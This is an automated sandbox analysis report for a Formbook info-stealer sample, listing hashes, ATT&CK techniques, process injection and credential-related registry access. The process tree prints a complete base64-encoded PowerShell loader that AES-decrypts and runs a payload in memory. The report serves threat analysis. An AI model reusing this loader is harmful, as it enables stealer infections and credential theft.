formbook | ab331aadbc162a4ca0d437b7563163605996d9654257f9421a1a8ad2407438ff

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/08/2026, 12:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Scan Copy#08-25-2026.js
Size 588KB
Sample260825-pyk41syxe1
SHA256 ab331aadbc162a4ca0d437b7563163605996d9654257f9421a1a8ad2407438ff
MD5 314d7b21b843223ed7e163a8764a662b
SHA1 5b276a2f03cddea55e950cc14f300e2941e0df48
SHA512 f331554839f1258554be5bc86acc783a8e689356aa5f6fad081f5e03f6a83de786bae8e07ebbf25c4b808ab4d933d49a4109fea34ddca84180b6d1828f677ed3
SSDEEP 6144:Yze4blzYtohD8jQW/VmcFiIcM/5+IiXl13rxM3RY94pqgJC:YvHhDGf/Vm+iIfRLiXlVrxMhY9FgY
TLSH
T1B5D4322167FE5119F2F3AF54AEF825A58D7EBEA26E36D05C1150024E0A72E80DDB0737
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware collection discovery execution formbook persistence rat spyware stealer trojan

Malware Config

Signatures

Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Formbook payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/5400-25-0x0000000000910000-0x0000000000956000-memory.dmp	family_formbook
behavioral2/memory/4912-27-0x0000000000600000-0x0000000000644000-memory.dmp	family_formbook

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	5476	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5476	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	regsvr32.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 5476 set thread context of 5400	5476	powershell.exe	93
PID 5400 set thread context of 4844	5400	taskmgr.exe
PID 5400 set thread context of 4912	5400	taskmgr.exe	94
PID 4912 set thread context of 5828	4912	regsvr32.exe	81
PID 4912 set thread context of 4820	4912	regsvr32.exe	96
PID 4912 set thread context of 608	4912	regsvr32.exe	99

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-2301830172-776172150-2531349243-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
5476	powershell.exe
5476	powershell.exe
5400	taskmgr.exe
5400	taskmgr.exe
5400	taskmgr.exe
5400	taskmgr.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5828	explorer.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
5400	taskmgr.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe
4912	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 29 IoCs

description	pid	Process
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe
Token: SeShutdownPrivilege	5828	explorer.exe
Token: SeCreatePagefilePrivilege	5828	explorer.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 6128 wrote to memory of 4824	6128	wscript.exe	89
PID 4824 wrote to memory of 5476	4824	conhost.exe	90
PID 5476 wrote to memory of 5400	5476	powershell.exe	93
PID 5476 wrote to memory of 5400	5476	powershell.exe	93
PID 5476 wrote to memory of 5400	5476	powershell.exe	93
PID 5476 wrote to memory of 5400	5476	powershell.exe	93
PID 4912 wrote to memory of 4820	4912	regsvr32.exe	96
PID 4912 wrote to memory of 608	4912	regsvr32.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	regsvr32.exe

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:5828
- C:\Windows\system32\wscript.exe
  wscript.exe "C:\Users\Admin\AppData\Local\Temp\Scan Copy#08-25-2026.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6128
- - C:\Windows\System32\conhost.exe
    "C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -EncodedCommand JABDAGsAYQB1AGYAQgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA1ADEANwAyACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB6AGsAcQBLAEEAcAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgAxADUAMgAwACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABlAGgAUgBZAEUAbAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAEMAawBhAHUAZgBCACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJAB6AGsAcQBLAEEAcAApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABDAGsAYQB1AGYAQgAsACQAegBrAHEASwBBAHAAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcgBXAFUAcgBpAHUAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZQBoAFIAWQBFAGwAKQA7ACQAUwBQAEkAUwBaAHYAPQAnAFMAeQBzAHQAZQBtAC4AJwArACcAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcAAnACsAJwBoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAFUAbgBmAGIAcwB3AD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAJwArACcAdgBhAHQAbwByACcAKQA7ACQAVQBuAGYAYgBzAHcAPQAkAFUAbgBmAGIAcwB3ADoAOgAoACcAQwByAGUAYQAnACsAJwB0AGUASQBuAHMAdABhAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAUwBQAEkAUwBaAHYAKQA7ACQAVQBuAGYAYgBzAHcALgBNAG8AZABlAD0AMQA7ACQAdQBwAFkAUQB6AFoAPQA5ADUAOAA1ADsAaQBmACgAJAB1AHAAWQBRAHoAWgAgAC0AbAB0ACAAMAApAHsAJABTAHYAWABoAGIAcgA9ADgANAB9ADsAJABVAG4AZgBiAHMAdwAuAFAAYQBkAGQAaQBuAGcAPQAyADsAJABVAG4AZgBiAHMAdwAuAEsAZQB5AD0AWwBiAHkAdABlAFsAXQBdAEAAKAAwAHgAMABCACwAMAB4ADkARQAsADAAeAA2AEMALAAwAHgARAAyACwAMAB4AEMANgAsADAAeAA3AEMALAAwAHgARgBEACwAMAB4ADEANQAsADAAeABFADcALAAwAHgAMQA4ACwAMAB4ADcANQAsADAAeABFAEYALAAwAHgANwA1ACwAMAB4ADgARgAsADAAeAA2ADkALAAwAHgAOQBBACkAOwAkAFUAbgBmAGIAcwB3AC4ASQBWAD0AWwBiAHkAdABlAFsAXQBdAEAAKAAwAHgARgAyACwAMAB4AEUAMQAsADAAeAA0AEQALAAwAHgAOAAwACwAMAB4AEUANwAsADAAeAA1ADQALAAwAHgARQA3ACwAMAB4ADIARQAsADAAeAA5ADYALAAwAHgANAAxACwAMAB4ADgAMAAsADAAeAA2ADIALAAwAHgAQwA4ACwAMAB4ADIAMQAsADAAeABCADgALAAwAHgAOABDACkAOwAkAGIARgBUAEEAcgBmAD0AJwBDAHIAZQBhACcAKwAnAHQAZQBEAGUAJwArACcAYwByAHkAcAB0AG8AcgAnADsAJABhAGgAbwBQAGsASAA9ACQAVQBuAGYAYgBzAHcALgAkAGIARgBUAEEAcgBmACgAKQA7ACQATwBoAFcAVwBCAFEAPQAnAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbAAnACsAJwBCAGwAbwAnACsAJwBjAGsAJwA7ACQAdwBEAEMATgBDAGkAPQAkAGEAaABvAFAAawBIAC4AJABPAGgAVwBXAEIAUQAoACQAcgBXAFUAcgBpAHUALAAwACwAJAByAFcAVQByAGkAdQAuAEwAZQBuAGcAdABoACkAOwAkAG0AbgBEAG0AVwBpAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAJwArACcAYQBtACcAOwAkAHYASwBzAFIAUABqAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAbQBuAEQAbQBXAGkAKAAsACQAdwBEAEMATgBDAGkAKQA7ACQAagBCAFQAUwBYAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABtAG4ARABtAFcAaQA7ACQARwBqAHkAcgBpAGYAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAOAA3ADEAOQAvADIANwApADsAJABBAFQARwBiAEwAegA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAaQBwAFMAJwArACcAdAByAGUAJwArACcAYQBtACcAOwAkAFoARABqAGkAYQBwAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAQQBUAEcAYgBMAHoAKAAkAHYASwBzAFIAUABqACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUQB0AEgAQgBkAHEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAA0ADAAOQA2ADsAdwBoAGkAbABlACgAKAAkAGYAcQBFAHgAVgBGAD0AJABaAEQAagBpAGEAcAAuAFIAZQBhAGQAKAAkAFEAdABIAEIAZABxACwAMAAsACQAUQB0AEgAQgBkAHEALgBMAGUAbgBnAHQAaAApACkALQBnAHQAIAAwACkAewAkAGoAQgBUAFMAWABoAC4AVwByAGkAdABlACgAJABRAHQASABCAGQAcQAsADAALAAkAGYAcQBFAHgAVgBGACkAfQA7ACQASwB5AHYAUAB3AGUAPQBAACgANAA0ACwAMQA5ADUALAAxADUANQApADsAJABuAHUAbABsAD0AJABLAHkAdgBQAHcAZQAuAEMAbwB1AG4AdAA7ACQAdwBEAEMATgBDAGkAPQAkAGoAQgBUAFMAWABoAC4AVABvAEEAcgByAGEAeQAoACkAOwAkAGkASQB2AGgAQgBZAD0AWwB0AHkAcABlAF0AKAAnAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAnACsAJwAuAEEAJwArACcAcwBzACcAKwAnAGUAbQBiAGwAeQAnACkAOwAkAHcAYwBxAFkAYgBPAD0AJABpAEkAdgBoAEIAWQA6ADoAKAAnAEwAbwAnACsAJwBhAGQAJwApACgAJAB3AEQAQwBOAEMAaQApADsAJAByAGkAYwBpAEEAVQA9ACcARQBuAHQAcgB5AFAAbwAnACsAJwBpAG4AdAAnADsAJABGAEwARwBvAFoAaQA9ACQAdwBjAHEAWQBiAE8ALgAkAHIAaQBjAGkAQQBVADsAJABGAEwARwBvAFoAaQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAKAAsAFsAcwB0AHIAaQBuAGcAWwBdAF0AQAAoACkAKQApAA==
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABDAGsAYQB1AGYAQgA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA1ADEANwAyACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJAB6AGsAcQBLAEEAcAA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgAxADUAMgAwACcALAAnAFAAcgBvAGMAZQBzAHMAJwApADsAJABlAGgAUgBZAEUAbAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAEMAawBhAHUAZgBCACkAKwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJAB6AGsAcQBLAEEAcAApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABDAGsAYQB1AGYAQgAsACQAegBrAHEASwBBAHAAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACQAcgBXAFUAcgBpAHUAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZQBoAFIAWQBFAGwAKQA7ACQAUwBQAEkAUwBaAHYAPQAnAFMAeQBzAHQAZQBtAC4AJwArACcAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcAAnACsAJwBoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkACcAOwAkAFUAbgBmAGIAcwB3AD0AWwB0AHkAcABlAF0AKAAnAEEAYwB0AGkAJwArACcAdgBhAHQAbwByACcAKQA7ACQAVQBuAGYAYgBzAHcAPQAkAFUAbgBmAGIAcwB3ADoAOgAoACcAQwByAGUAYQAnACsAJwB0AGUASQBuAHMAdABhAG4AYwBlACcAKQAoAFsAdAB5AHAAZQBdACQAUwBQAEkAUwBaAHYAKQA7ACQAVQBuAGYAYgBzAHcALgBNAG8AZABlAD0AMQA7ACQAdQBwAFkAUQB6AFoAPQA5ADUAOAA1ADsAaQBmACgAJAB1AHAAWQBRAHoAWgAgAC0AbAB0ACAAMAApAHsAJABTAHYAWABoAGIAcgA9ADgANAB9ADsAJABVAG4AZgBiAHMAdwAuAFAAYQBkAGQAaQBuAGcAPQAyADsAJABVAG4AZgBiAHMAdwAuAEsAZQB5AD0AWwBiAHkAdABlAFsAXQBdAEAAKAAwAHgAMABCACwAMAB4ADkARQAsADAAeAA2AEMALAAwAHgARAAyACwAMAB4AEMANgAsADAAeAA3AEMALAAwAHgARgBEACwAMAB4ADEANQAsADAAeABFADcALAAwAHgAMQA4ACwAMAB4ADcANQAsADAAeABFAEYALAAwAHgANwA1ACwAMAB4ADgARgAsADAAeAA2ADkALAAwAHgAOQBBACkAOwAkAFUAbgBmAGIAcwB3AC4ASQBWAD0AWwBiAHkAdABlAFsAXQBdAEAAKAAwAHgARgAyACwAMAB4AEUAMQAsADAAeAA0AEQALAAwAHgAOAAwACwAMAB4AEUANwAsADAAeAA1ADQALAAwAHgARQA3ACwAMAB4ADIARQAsADAAeAA5ADYALAAwAHgANAAxACwAMAB4ADgAMAAsADAAeAA2ADIALAAwAHgAQwA4ACwAMAB4ADIAMQAsADAAeABCADgALAAwAHgAOABDACkAOwAkAGIARgBUAEEAcgBmAD0AJwBDAHIAZQBhACcAKwAnAHQAZQBEAGUAJwArACcAYwByAHkAcAB0AG8AcgAnADsAJABhAGgAbwBQAGsASAA9ACQAVQBuAGYAYgBzAHcALgAkAGIARgBUAEEAcgBmACgAKQA7ACQATwBoAFcAVwBCAFEAPQAnAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbAAnACsAJwBCAGwAbwAnACsAJwBjAGsAJwA7ACQAdwBEAEMATgBDAGkAPQAkAGEAaABvAFAAawBIAC4AJABPAGgAVwBXAEIAUQAoACQAcgBXAFUAcgBpAHUALAAwACwAJAByAFcAVQByAGkAdQAuAEwAZQBuAGcAdABoACkAOwAkAG0AbgBEAG0AVwBpAD0AJwBTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAJwArACcAYQBtACcAOwAkAHYASwBzAFIAUABqAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAbQBuAEQAbQBXAGkAKAAsACQAdwBEAEMATgBDAGkAKQA7ACQAagBCAFQAUwBYAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABtAG4ARABtAFcAaQA7ACQARwBqAHkAcgBpAGYAPQBbAE0AYQB0AGgAXQA6ADoARgBsAG8AbwByACgAOAA3ADEAOQAvADIANwApADsAJABBAFQARwBiAEwAegA9ACcAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAFoAaQBwAFMAJwArACcAdAByAGUAJwArACcAYQBtACcAOwAkAFoARABqAGkAYQBwAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAQQBUAEcAYgBMAHoAKAAkAHYASwBzAFIAUABqACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUQB0AEgAQgBkAHEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAA0ADAAOQA2ADsAdwBoAGkAbABlACgAKAAkAGYAcQBFAHgAVgBGAD0AJABaAEQAagBpAGEAcAAuAFIAZQBhAGQAKAAkAFEAdABIAEIAZABxACwAMAAsACQAUQB0AEgAQgBkAHEALgBMAGUAbgBnAHQAaAApACkALQBnAHQAIAAwACkAewAkAGoAQgBUAFMAWABoAC4AVwByAGkAdABlACgAJABRAHQASABCAGQAcQAsADAALAAkAGYAcQBFAHgAVgBGACkAfQA7ACQASwB5AHYAUAB3AGUAPQBAACgANAA0ACwAMQA5ADUALAAxADUANQApADsAJABuAHUAbABsAD0AJABLAHkAdgBQAHcAZQAuAEMAbwB1AG4AdAA7ACQAdwBEAEMATgBDAGkAPQAkAGoAQgBUAFMAWABoAC4AVABvAEEAcgByAGEAeQAoACkAOwAkAGkASQB2AGgAQgBZAD0AWwB0AHkAcABlAF0AKAAnAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAnACsAJwAuAEEAJwArACcAcwBzACcAKwAnAGUAbQBiAGwAeQAnACkAOwAkAHcAYwBxAFkAYgBPAD0AJABpAEkAdgBoAEIAWQA6ADoAKAAnAEwAbwAnACsAJwBhAGQAJwApACgAJAB3AEQAQwBOAEMAaQApADsAJAByAGkAYwBpAEEAVQA9ACcARQBuAHQAcgB5AFAAbwAnACsAJwBpAG4AdAAnADsAJABGAEwARwBvAFoAaQA9ACQAdwBjAHEAWQBiAE8ALgAkAHIAaQBjAGkAQQBVADsAJABGAEwARwBvAFoAaQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAKAAsAFsAcwB0AHIAaQBuAGcAWwBdAF0AQAAoACkAKQApAA==
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5476
    - - C:\Windows\SysWow64\taskmgr.exe
        
        C:\Windows\SysWow64\taskmgr.exe
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:5400

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:4116

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
1⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
- outlook_office_path
PID:4912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:4820
- C:\Program Files\Mozilla Firefox\Firefox.exe
  "C:\Program Files\Mozilla Firefox\Firefox.exe"
  2⤵
  PID:608

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4924

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1sicmt8npr5qa

Path C:\Users\Admin\AppData\Local\Temp\1sicmt8npr5q\1sicmt8npr5qa
Size 67KB
SHA256 72d0f511d1f1a938626c0e07b83175658f71c53801d25793102598717a6f329b
MD5 c402dd947d31aae38b6f009a4c0f8098
SHA1 c6a1f5f5ffc61afad9bb20b26d7bd43f67bd2c31
SHA512 1bac4dd2f476a6fecb5b8989600a3b4d54eddeb099e3fb79c0ae58a45b530178540f8f4a6394e1ef839aef4a845bab60fde31474e12f2490ca0672a63ccd18d6
SSDEEP 1536:PTHR/SXclt07qiEEMSzuWEH7ni7LHyL7ZfNBmmXg:PjR/UcliOiJVSH7i7LsVfG7
TLSH
T10A6302619C961C1BA73355EA4D08BB48DC83A2B1FD620ADCFAB3832CA44ED534B4574E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1sicmt8npr5qb

Path C:\Users\Admin\AppData\Local\Temp\1sicmt8npr5q\1sicmt8npr5qb
Size 67KB
SHA256 b9de4e13f1a977c76fb271f90a3a3e53bf1725cef70753606331b0771f3e25e3
MD5 e9382fcded35557703051d66305bdb17
SHA1 fc48b3216fd61fd40edd8d939fdb139af93be03c
SHA512 c716210063507f81143fe79339b7a633799c9287c5d01d203af9833662b4c9b073345d9961b16d49f83fd51c01e0a4e86042a5c8d82b2e4a58dee97799c3a255
SSDEEP 1536:qCIQi6PNzzgrWbjvYPUSVzerPHfRazEFi4FcTol/SAMhB:+azzgrW3LZXwnSckRSAg
TLSH
T19763F2489330AE884E5012DBA61DBBD7F1734D6A490176639989DCCCCF4E3BEED4958C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/608-36-0x0000028125C50000-0x0000028125D28000-memory.dmp

Download

memory/4820-32-0x0000020D38670000-0x0000020D3871E000-memory.dmp

Download

memory/4912-27-0x0000000000600000-0x0000000000644000-memory.dmp

Download

memory/4912-26-0x0000000000600000-0x0000000000644000-memory.dmp

Download

memory/5400-25-0x0000000000910000-0x0000000000956000-memory.dmp

Download

memory/5400-17-0x0000000000340000-0x0000000000386000-memory.dmp

Download

memory/5476-21-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-24-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-14-0x0000023B71B70000-0x0000023B71BC2000-memory.dmp

Download

memory/5476-15-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-16-0x0000023B71B00000-0x0000023B71B12000-memory.dmp

Download

memory/5476-12-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-13-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-20-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-23-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-9-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-2-0x00007FFCA6BEF000-0x00007FFCA6BF0000-memory.dmp

Download

memory/5476-8-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-7-0x0000023B71B20000-0x0000023B71B42000-memory.dmp

Download

memory/5476-3-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5476-4-0x00007FFCA6A60000-0x00007FFCA7404000-memory.dmp

Download

memory/5828-28-0x0000000004750000-0x000000000485E000-memory.dmp

Download